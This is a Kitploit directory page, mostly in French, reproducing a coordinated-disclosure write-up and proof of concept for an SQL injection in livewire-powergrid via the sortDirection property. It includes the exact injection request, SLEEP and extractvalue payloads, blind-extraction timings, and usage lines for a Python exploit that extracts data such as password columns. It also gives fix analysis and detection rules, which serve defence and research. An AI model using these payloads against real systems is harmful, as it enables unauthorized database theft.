Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
POC-CVE-2026-65971 — Preuve de concept et analyse technique pour CVE-2026-65971 — injection SQL via la propriété Livewire sortDirection dans power-components/livewire-powergrid (< 6.10.4) | Kitploit
Outils/GitHubGitHub/biitts/poc-cve-2026-65971
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionArticles et RechercheApprentissage et Éducation
GitHubbiitts/poc-cve-2026-65971

POC-CVE-2026-65971

Preuve de concept et analyse technique pour CVE-2026-65971 — injection SQL via la propriété Livewire sortDirection dans power-components/livewire-powergrid (< 6.10.4)

Voir le dépôt
1il y a 28 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-65971 — Injection SQL dans Livewire PowerGrid via sortDirection

Preuve de concept et analyse technique complète pour CVE-2026-65971 / GHSA-7fgc-3h6c-698r, une injection SQL dans power-components/livewire-powergrid accessible via la propriété Livewire publique sortDirection.

CVECVE-2026-65971
GHSAGHSA-7fgc-3h6c-698r
Paquetpower-components/livewire-powergrid (Composer / Packagist)
Versions affectées>= 6.0.0, < 6.10.4
Version corrigée6.10.4
FaiblesseCWE-89 — Neutralisation incorrecte des éléments spéciaux utilisés dans une commande SQL
Sévérité7.6 Élevée — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
Signalé parCaio Fabrício (@BiiTts)
DivulgationCoordonnée, via un avis de sécurité privé GitHub
├── poc/exploit_powergrid_sqli.py working exploit — confirm + blind extraction
├── lab/ build the vulnerable app to reproduce it yourself
├── evidence/EVIDENCE.txt raw lab notes from confirmation
├── patch/security-fix-v6.10.4.diff the security-relevant portion of the official fix
└── detection/ Sigma rules + Nuclei template for defenders
root@kitploit:~
---

## 🧠 Résumé

PowerGrid est un composant de datatable pour Laravel + Livewire (~2k étoiles, largement utilisé dans
les panneaux d'administration Laravel). Son état de tri réside dans deux **propriétés Livewire publiques**:```php
public string $sortField = 'id';
public string $sortDirection = 'asc';

Dans Livewire, une propriété publique fait partie du format wire du composant — tout client qui peut atteindre le composant peut la définir via POST /livewire/update. C'est voulu ; la frontière de sécurité réside dans ce que le serveur fait de la valeur.

La fonctionnalité naturalSort() de PowerGrid construit une expression ORDER BY brute contenant le littéral placeholder {sortDirection}, et un pipeline substitue ce placeholder par la valeur de propriété brute, non validée avant de passer la chaîne à orderByRaw(). Le mot-clé de direction se retrouve donc tel quel dans le SQL.

La méthode orderBy() de Laravel rejette tout ce qui n'est pas asc/desc, et c'est cette validation qui rend le chemin de tri ordinaire sûr. Le bug est qu'un second chemin, non validé, mène à la même clause — et qu'un attaquant peut l'emprunter en contournant entièrement le chemin validant (voir Le contournement).

Résultat : du SQL arbitraire dans la clause ORDER BY, exploitable comme oracle aveugle booléen/temporel pour lire toutes les données que l'utilisateur de la base peut lire.


🔥 Impact

Toute personne pouvant atteindre une table PowerGrid qui utilise naturalSort peut lire des données arbitraires depuis la base de données — autres tables, hachages de mots de passe, jetons de session, clés API, enregistrements multi-tenant — en utilisant un oracle temporel / booléen.

  • Confidentialité : Élevée. Lecture complète de tout ce que l'utilisateur de la base peut SELECT.
  • Intégrité : Faible. Les requêtes empilées sont bloquées par la configuration par défaut de PDO MySQL, donc ; UPDATE ... ne s'exécute pas. L'impact en écriture se limite à ce qu'une sous-requête peut déclencher.
  • Disponibilité : Faible. La même primitive donne à un attaquant SLEEP() et des sous-requêtes lourdes — trivialement abusables pour bloquer les threads de la base.
  • Le placement typique est le facteur aggravant. Les tables PowerGrid se trouvent dans les panneaux d'administration et les back-offices multi-tenant — exactement là où se trouvent les données intéressantes. Un utilisateur locataire à faibles privilèges atteignant une telle table peut exfiltrer toute la base de données.

Les privilèges requis sont PR:L car une datatable se trouve normalement derrière l'authentification de l'application. Si la table affectée est rendue sur une page non authentifiée, recalculez avec PR:N → 8.2 Élevé.


🧩 Cause racine — la chaîne de contamination complète

Trois fichiers, trois étapes. Toutes les références concernent le tag vulnérable v6.10.3.

Étape 1 — Source : une propriété publique contrôlée par l'attaquant

`src/Concerns/Sorting.php````php public string $sortField = 'id'; // line 11 public string $sortDirection = 'asc'; // line 13

root@kitploit:~
Aucune des deux propriétés n'a de liste blanche, de règle de validation ou de setter de normalisation. `sortDirection` est uniquement affectée ou inversée :```php
public function reverseSort(): string    // line 37
{
    return $this->sortDirection === 'asc' ? 'desc' : 'asc';
}

updatedSortDirection() (ligne 103) existe — l'endroit naturel pour la validation — mais dans v6.10.3 il ne gère que la comptabilité du chargement paresseux. Il n'inspecte jamais la valeur.

Parce que Livewire hydrate les propriétés publiques directement à partir de la requête, sortDirection est totalement contrôlée par l'attaquant, comme une chaîne arbitraire, à ce stade.

Étape 2 — La clause brute : naturalSort() insère un espace réservé

src/Providers/Macros.php, lignes 102–116 — la macro de colonne naturalSort :```php Column::macro('naturalSort', function (bool $when = false, ?string $tableName = null): Column { $this->enableSort();

root@kitploit:~
if ($when) {
    $this->rawQueries[] = [
        'method'   => 'orderByRaw',                          // <-- raw sink
        'sql'      => Sql::sortStringAsNumber($this->dataField),
        'bindings' => [],
    ];
}

return $this;

});

root@kitploit:~
`Sql::sortStringAsNumber()` se résout en une expression propre à chaque pilote construite par
`getSortSqlByDriver()` dans `src/DataSource/Support/Sql.php` (lignes 60–100). Chaque variante de pilote
se termine par le même placeholder littéral :```php
$default = "$sortField+0 {sortDirection}";                                                          // line 76
'8.0.4'  => "CAST(NULLIF(REGEXP_REPLACE($sortField, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) {sortDirection}",  // MySQL, line 81
'0'      => "CAST($sortField AS INTEGER) {sortDirection}",                                          // SQLite, line 84
'0'      => "CAST(NULLIF(REGEXP_REPLACE($sortField, '\D', '', 'g'), '') AS INTEGER) {sortDirection}", // PgSQL, line 87
'0'      => "CAST(SUBSTRING(...) AS INT) {sortDirection}",                                          // SQL Server, line 90

La vulnérabilité est indépendante du driver — chaque branche interpole {sortDirection}.

Étape 3 — Sink: le placeholder est résolu avec la valeur brute de la propriété

`src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php````php private function resolvePlaceholders(?string $sql): ?string // line 56 { if (is_null($sql)) { return null; }

root@kitploit:~
return preg_replace_callback('/\{(\w+)\}/', function ($matches) {
    $property = trim($matches[1]);

    return data_get($this->component, $property, '');   // line 65 — raw property, no escaping
}, $sql);

}

root@kitploit:~
et l'exécution, ligne 52:```php
$query->{$method}($resolvedSql, $resolvedBindings);   // $method === 'orderByRaw'

data_get($this->component, 'sortDirection') renvoie la chaîne de l'attaquant, preg_replace_callback l'insère dans le texte SQL, et orderByRaw() — qui, par contrat, n'échappe pas son argument — la transmet à la base de données.

Notez l'ironie amère une ligne plus bas : resolveBindings() (ligne 69) existe, et naturalSort déclare 'bindings' => []. Le mécanisme de paramétrage sécurisé est juste là. Il ne peut pas être utilisé pour un mot-clé de direction — ORDER BY x ? n'est pas du SQL valide, une direction ne peut jamais être un paramètre lié — c'est précisément pourquoi un mot-clé de direction doit être mis sur liste blanche à la place.

La chaîne en une ligne```

POST /livewire/update ──▶ public string $sortDirection (Sorting.php:13, no validation) ──▶ data_get($component, 'sortDirection') (ColumnRawQueries.php:65) ──▶ "CAST(...) {sortDirection}" → "CAST(...) asc, (SELECT SLEEP(3))" ──▶ orderByRaw($sql) (ColumnRawQueries.php:52) ──▶ MySQL/MariaDB/PgSQL/SQLite/MSSQL

root@kitploit:~
---

## 🔓 La contournement — pourquoi la validation de Laravel ne vous sauve pas

C'est la partie qui transforme une « interpolation brute » en un bug réellement exploitable, et c'est la
raison pour laquelle le problème a survécu dans un paquet mature et largement utilisé.

PowerGrid traite une requête à travers un **pipeline**. Deux étapes de ce pipeline touchent la
direction de tri :

**Pipeline `Sorting`** — `src/DataSource/Processors/Database/Pipelines/Sorting.php` :```php
public function handle(mixed $query, Closure $next): mixed
{
    // ...
    if (filled($this->component->sortField)) {          // line 21  <-- THE GUARD
        if ($this->component->multiSort) {
            $this->applyMultipleSort($query);
        } else {
            $this->applySingleSort($query, $this->component->sortField, $this->component->sortDirection);
        }
    }

    return $next($query);
}

private function applySingleSort(..., string $sortField, string $direction): void
{
    // ...
    $query->orderBy($this->component->resolveSortField($sortField), $direction);   // line 42
}

orderBy() est l'API de validation de Laravel. Donnez-lui autre chose que asc/desc et elle lève une exception :``` InvalidArgumentException: Order direction must be "asc" or "desc".

root@kitploit:~
Donc, sur le chemin normal — l'utilisateur clique sur l'en-tête d'une colonne, `sortField=name`, `sortDirection=<payload>` —
le framework bloque l'injection. Un audit rapide s'arrête ici et conclut « atténué par Laravel ».

**Pipeline `ColumnRawQueries`** — le deuxième étage, montré ci-dessus — **n'a aucune protection de ce type**. Regardez
son `handle()` (lignes 21–27) : il itère sur les colonnes, et pour chaque colonne portant des `rawQueries`,
il les applique *inconditionnellement*. Il ne consulte jamais `sortField`. Il ne consulte jamais le résultat du
pipeline `Sorting`.

Cette asymétrie est le bug :

| `sortField` | Pipeline `Sorting` | Pipeline `ColumnRawQueries` | Résultat |
|---|---|---|---|
| `"name"` (rempli) | s'exécute → `orderBy()` **valide** → lève une exception sur le payload | s'exécute → injecte | ❌ bloqué par l'exception |
| `""` (vide) | `filled('')` est `false` → **ignoré entièrement** | s'exécute → injecte | ✅ **l'injection aboutit** |

Définir **`sortField` sur une chaîne vide** fait que l'étape de validation s'ignore elle-même, tandis que l'étape
des requêtes brutes émet toujours le `ORDER BY` de `naturalSort` avec le `{sortDirection}` de l'attaquant. La
validation de Laravel n'est jamais invoquée, car le chemin de code qui la contient ne s'exécute jamais.

**L'attaque complète repose donc sur deux champs, pas un seul :** `sortDirection` transporte le payload,
et `sortField=""` est la clé qui ouvre la porte.

---

## 🎯 Les champs exacts

Tout passe par le point de terminaison de mise à jour standard de Livewire. Pas d'en-têtes spéciaux, pas de
route personnalisée, pas de fonction d'administration.

**Point de terminaison :** `POST /livewire/update`

**Corps (JSON) :**```json
{
  "_token": "<CSRF token from the page>",
  "components": [
    {
      "snapshot": "<wire:snapshot of the PowerGrid component, taken from the rendered HTML>",
      "updates": {
        "sortField": "",
        "sortDirection": "asc, (SELECT SLEEP(3))"
      },
      "calls": []
    }
  ]
}

SQL résultant (lab MariaDB, table rooms, colonne name avec naturalSort) :```sql select * from rooms order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc, (SELECT SLEEP(3)) limit 3 offset 0

root@kitploit:~
Le payload se trouve dans un emplacement d'expression complète de la liste `ORDER BY`, c'est pourquoi une sous-requête nue fonctionne et pourquoi la clause reste du SQL valide.

---

## 🔬 Comment cela a été trouvé — le cheminement dans le code

L'ordre ci-dessous est l'ordre réel du raisonnement, y compris l'étape qui a failli clore l'investigation comme un faux positif.

**1. Surface d'attaque d'abord : les propriétés publiques de Livewire sont des entrées de l'attaquant.**
Le modèle même du framework indique que chaque propriété `public` d'un composant est modifiable côté client via `/livewire/update`. La question d'audit pour tout paquet Livewire n'est donc pas « y a-t-il une entrée utilisateur ? » mais « quelles propriétés publiques atteignent un puits dangereux ? ». Énumération des propriétés publiques de PowerGrid ; `$sortField` et `$sortDirection` se sont démarquées comme celles qui existent spécifiquement pour être composées en SQL.

**2. Suivez-les jusqu'à chaque puits.** J'ai cherché dans le paquet les API de SQL brut — `orderByRaw`, `whereRaw`, `selectRaw`, `havingRaw`, `DB::raw` — et celles qui pourraient recevoir ces propriétés. Le `'method' => 'orderByRaw'` de `naturalSort` dans `Macros.php` a été la correspondance.

**3. Trouvez la connexion entre propriété et puits.** Le SQL brut dans `Sql.php` ne référençait pas `$this->sortDirection` ; il contenait la chaîne littérale `{sortDirection}`. Un tel templating implique un résolveur quelque part. En grepant le motif d'accolades, on aboutit à `ColumnRawQueries::resolvePlaceholders()` et à son `data_get($this->component, $property, '')` — un lecteur de propriété générique sans échappement. Source et puits désormais connectés.

**4. L'étape qui a failli tout tuer : l'atténuation.** Première tentative réelle — mettre `sortDirection` à un payload et déclencher — n'a pas produit de fuite mais `InvalidArgumentException: Order direction must be "asc" or "desc".` Le `orderBy()` de Laravel l'interceptait. La conclusion tentante ici est *« le framework atténue, non exploitable »*, et cette conclusion aurait été fausse.

**5. Demandez d'où vient l'exception, pas seulement qu'elle se soit produite.** La trace pointait vers le `orderBy()` du pipeline `Sorting` — **une étape différente** du puits `orderByRaw()` identifié à l'étape 2. Deux étapes, deux écritures indépendantes dans le même `ORDER BY`, une seule d'entre elles validant. Cela a recadré la question de « puis-je vaincre le validateur de Laravel ? » (non — c'est une comparaison stricte) à **« puis-je atteindre l'étape brute sans exécuter l'étape de validation ? »**

**6. Examinez la garde.** L'étape de validation s'exécute sous `if (filled($this->component->sortField))`. `filled('')` vaut `false`. L'étape brute n'a aucune garde. Le contournement en était une conséquence directe : envoyez `sortField=""` et seule l'étape non gardée s'exécute.

**7. Confirmer empiriquement, deux fois, avec des techniques indépendantes.** Un seul signal positif n'est pas une découverte — un delta de temps pourrait être un limiteur de débit, une erreur pourrait être un 500 générique. Il a fallu à la fois une preuve par erreur (la base renvoyant la sous-requête injectée telle quelle) et un oracle booléen basé sur le temps (distinguant TRUE de FALSE sur des données réelles) avant de considérer l'exploit comme confirmé. Voir [Preuves](#-evidence).

**Enseignement généralisable :** une atténuation au niveau du framework ne protège que le chemin de code sur lequel elle se trouve. Lorsque deux étapes du pipeline écrivent dans la même clause SQL, « le framework valide » est une affirmation concernant l'une d'elles. Demandez toujours dans quelle étape la validation vit réellement, et si l'étape dangereuse peut s'exécuter seule.

---

## 🧪 Preuves

Lab: Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10.3 + MariaDB, avec un composant PowerGrid `RoomTable` dont la colonne `name` déclare `->naturalSort(true)` et une table `rooms` contenant une colonne `secret`. Lab complet dans [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/lab/).

**Basé sur l'erreur — la sous-requête injectée atteint la base telle quelle** (HTTP 500, `SQLSTATE[HY000] 1105`):```sql
select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc,
  (select extractvalue(1, concat(0x7e, (select secret from rooms limit 1))))
limit 3 offset 0

La base de données a analysé et exécuté un SELECT fourni par l'attaquant dans le ORDER BY. C'est une preuve sans ambiguïté d'injection — le texte d'erreur contient le SQL injecté tel qu'exécuté, et non tel que soumis.

Aveugle basée sur le temps — extraction arbitraire de données :``` asc -> 0.02s baseline asc, (SELECT SLEEP(3)) -> 9.04s injection executes asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'TOPSECRET%')-> 9.03s TRUE — value leaks asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'ZZZ%') -> 0.02s FALSE — oracle is sound

root@kitploit:~
La paire TRUE/FALSE est ce qui permet de passer de « quelque chose est lent » à « je peux lire vos données » :
la même forme de requête renvoie deux temporisations nettement séparées selon une condition portant sur une
valeur que l'attaquant ne peut pas voir. C'est un oracle fonctionnel, et `poc/exploit_powergrid_sqli.py`
le parcourt caractère par caractère.

> `SLEEP(3)` produit ~9s plutôt que ~3s car le tri applique l'expression d'attente sur plusieurs lignes —
> un signal plus fort, pas plus faible.

Notes brutes : [`evidence/EVIDENCE.txt`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/evidence/EVIDENCE.txt).

---

## ⚙️ Preuve de concept

Sans dépendances, uniquement la bibliothèque standard de Python 3.```bash
python3 poc/exploit_powergrid_sqli.py http://127.0.0.1:8001/rooms

Cela va :

  1. GET la page et extraire le jeton CSRF ainsi que le wire:snapshot du composant PowerGrid ;
  2. chronométrer une requête bénigne sortDirection=asc comme référence ;
  3. envoyer sortField="" / sortDirection="asc, (SELECT SLEEP(3))" et comparer les temps ;
  4. si le delta confirme l'exécution, extraire les données caractère par caractère via l'oracle booléen.

Options utiles :```bash

non-destructive check only — verify vulnerable/patched, no data extraction

python3 poc/exploit_powergrid_sqli.py http://target/rooms --check-only

choose what to extract

python3 poc/exploit_powergrid_sqli.py http://target/rooms --table users --column password --length 20

authenticated targets (datatables usually sit behind login)

python3 poc/exploit_powergrid_sqli.py http://target/admin/rooms --cookie "laravel_session=..."

root@kitploit:~
Contre une cible patchée `6.10.4`, le script ne signale aucun delta de temps et se termine proprement — la
liste blanche réduit chaque payload à `asc`.

---

## ✅ Analyse du correctif (`v6.10.4`)

Les mainteneurs ont livré **une défense en profondeur sur quatre sites d'appel** — la forme adaptée pour
cette classe de bug. La primitive :```php
// src/DataSource/Support/Sql.php
public static function sanitizeSortDirection(?string $direction): string
{
    $direction = strtolower(trim((string) $direction));

    return in_array($direction, ['asc', 'desc'], true) ? $direction : 'asc';
}

Une liste blanche stricte avec un défaut sûr — ni liste noire, ni échappement, ni regex. Pour un mot-clé qui ne peut pas être un paramètre lié, c'est le seul contrôle correct.

Appliqué à :

  1. ColumnRawQueries::resolvePlaceholders() — le sink. {sortDirection} est maintenant un cas particulier et n'est résolu que via sanitizeSortDirection(), jamais via le générique data_get().
  2. Concerns\Sorting::updatedSortDirection() — le hook Livewire. Sanitise à l'écriture, de sorte que la propriété elle-même ne peut plus contenir de payload.
  3. Concerns\Sorting::sortBy() — sanitise l'argument de direction.
  4. Pipelines\Sorting::applySingleSort() / applyMultipleSort() — couvre les callbacks sortUsing fournis par l'utilisateur, qui peuvent construire leur propre orderByRaw. Cela a fermé une seconde voie connexe en plus de celle signalée à l'origine.

Des tests de régression ont été ajoutés : tests/Feature/SortDirectionInjectionTest.php et un fixture DishesNaturalSortTable.

Vérification du patch effectuée sur le tag publié (pas sur une promesse) : clonage de v6.10.4, recherche par grep de chaque sink de direction brut, exécution de la suite (30/30 réussis), et fuzzing de sanitizeSortDirection() avec 17 payloads — le payload temporel de l'avis, octets nuls, commentaires SQL, littéraux hexadécimaux, casse mixte, padding d'espaces, unicode. Tous se réduisent à asc ou desc. Les sinks restants (export via WithExport/ExportableJob, Scout) passent par un orderBy() validé plutôt que par orderByRaw() et ne sont pas injectables.

Verdict : CORRIGÉ.

La partie du diff pertinente pour la sécurité se trouve dans patch/.


🛡️ Remédiation et détection

Si vous utilisez PowerGrid```bash

composer require power-components/livewire-powergrid:^6.10.4 composer audit

root@kitploit:~
**Mise à niveau — n'essayez pas de contourner le problème.** Si vous ne pouvez vraiment pas mettre à niveau aujourd'hui, l'atténuation temporaire
consiste à assainir sur le composant lui-même:```php
public function updatedSortDirection(): void
{
    $this->sortDirection = in_array(strtolower(trim($this->sortDirection)), ['asc', 'desc'], true)
        ? strtolower(trim($this->sortDirection))
        : 'asc';
}

Ceci est une solution provisoire. Mettez à niveau.

Suis-je concerné ?

La condition préalable est qu'au moins une colonne déclare naturalSort :```bash grep -rn "naturalSort" app/ resources/

root@kitploit:~
L'absence de colonne `naturalSort` signifie que le `ORDER BY` brut n'est jamais enregistré et que le chemin principal n'est pas accessible. Notez que `v6.10.4` a également durci le chemin du rappel `sortUsing` — si vos rappels de tri personnalisés construisent du SQL brut à partir de la direction, vous êtes également exposés par ce chemin, avec ou sans `naturalSort`.

### Détection de l'exploitation

L'attaque se présente comme une requête Livewire d'apparence normale ; il n'y a ni point de terminaison ni méthode inhabituels sur lesquels déclencher une alerte. Examinez la **valeur** de `sortDirection` — le trafic légitime n'envoie jamais autre chose que `asc` ou `desc`.

Tout le reste est, par définition, anormal. Signaux pratiques :

- `POST /livewire/update` dont le corps JSON contient `"sortDirection"` avec une valeur qui n'est pas exactement `asc`/`desc` (insensible à la casse) — grande fiabilité, quasi aucun faux positif ;
- la même requête portant `"sortField":""` (vide) accompagné d'un `sortDirection` non trivial — la signature exacte du contournement ;
- mots-clés SQL dans cette valeur : `SELECT`, `SLEEP`, `BENCHMARK`, `extractvalue`, `updatexml`, `0x` ;
- journaux d'erreurs applicatives avec `SQLSTATE[HY000] 1105` ou `SQLSTATE[42000]` faisant référence à `order by` ;
- rafales de requêtes POST de même forme avec des temps de réponse se regroupant de manière bimodale (rapides/lentes) — un oracle aveugle en cours d'exploration.

Deux règles Sigma sont fournies dans [`detection/sortdirection-sqli.yml`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/detection/sortdirection-sqli.yml) — l'une sur le corps de la requête, l'autre sur la signature d'erreur de base de données lorsque la journalisation du corps n'est pas disponible. Un modèle Nuclei qui signale les composants PowerGrid atteignables (la surface préalable requise) se trouve dans [`detection/nuclei-powergrid-sortdirection-sqli.yaml`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/detection/nuclei-powergrid-sortdirection-sqli.yaml) ; confirmez toute correspondance avec `poc/exploit_powergrid_sqli.py --check-only`.

---

## 📚 Références

- GitHub Security Advisory — [GHSA-7fgc-3h6c-698r](https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r)
- NVD — [CVE-2026-65971](https://nvd.nist.gov/vuln/detail/CVE-2026-65971)
- Publication du correctif — [`v6.10.4`](https://github.com/Power-Components/livewire-powergrid/releases/tag/v6.10.4)
- Diff du correctif — [`v6.10.3...v6.10.4`](https://github.com/Power-Components/livewire-powergrid/compare/v6.10.3...v6.10.4)
- CWE-89 — [Mauvaise neutralisation d'éléments spéciaux utilisés dans une commande SQL](https://cwe.mitre.org/data/definitions/89.html)
- Livewire — [Les propriétés sont modifiables côté client](https://livewire.laravel.com/docs/properties#security-concerns)

---

## ⚖️ Mentions légales

Publié après une divulgation coordonnée, un correctif publié et un avis public du fournisseur. Le PoC cible le laboratoire local dans [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/lab/) et est destiné aux défenseurs validant leur propre exposition et aux chercheurs étudiant cette classe de bugs. L'exécuter contre des systèmes que vous n'êtes pas autorisés à tester est illégal. Vous êtes responsable de ce que vous en faites.

---

**Caio Fabrício** — [@BiiTts](https://github.com/BiiTts) · [LinkedIn](https://www.linkedin.com/in/caio-fabrício-b978131b5/)
Télécharger l’outil
ChampRôleValeur
components[0].updates.sortDirectionpoint d'injectionla charge utile SQL, préfixée par une direction valide pour que la clause reste syntaxiquement complète
components[0].updates.sortFieldclé de contournement"" — vide, pour contourner le pipeline de validation Sorting
components[0].snapshotinfrastructureétat du composant Livewire ; extrait de wire:snapshot="..." dans le HTML de la page (déséchapper le HTML)
_token / X-CSRF-TOKENinfrastructureextrait de data-csrf="..." ou du bloc "csrf":"..." dans la page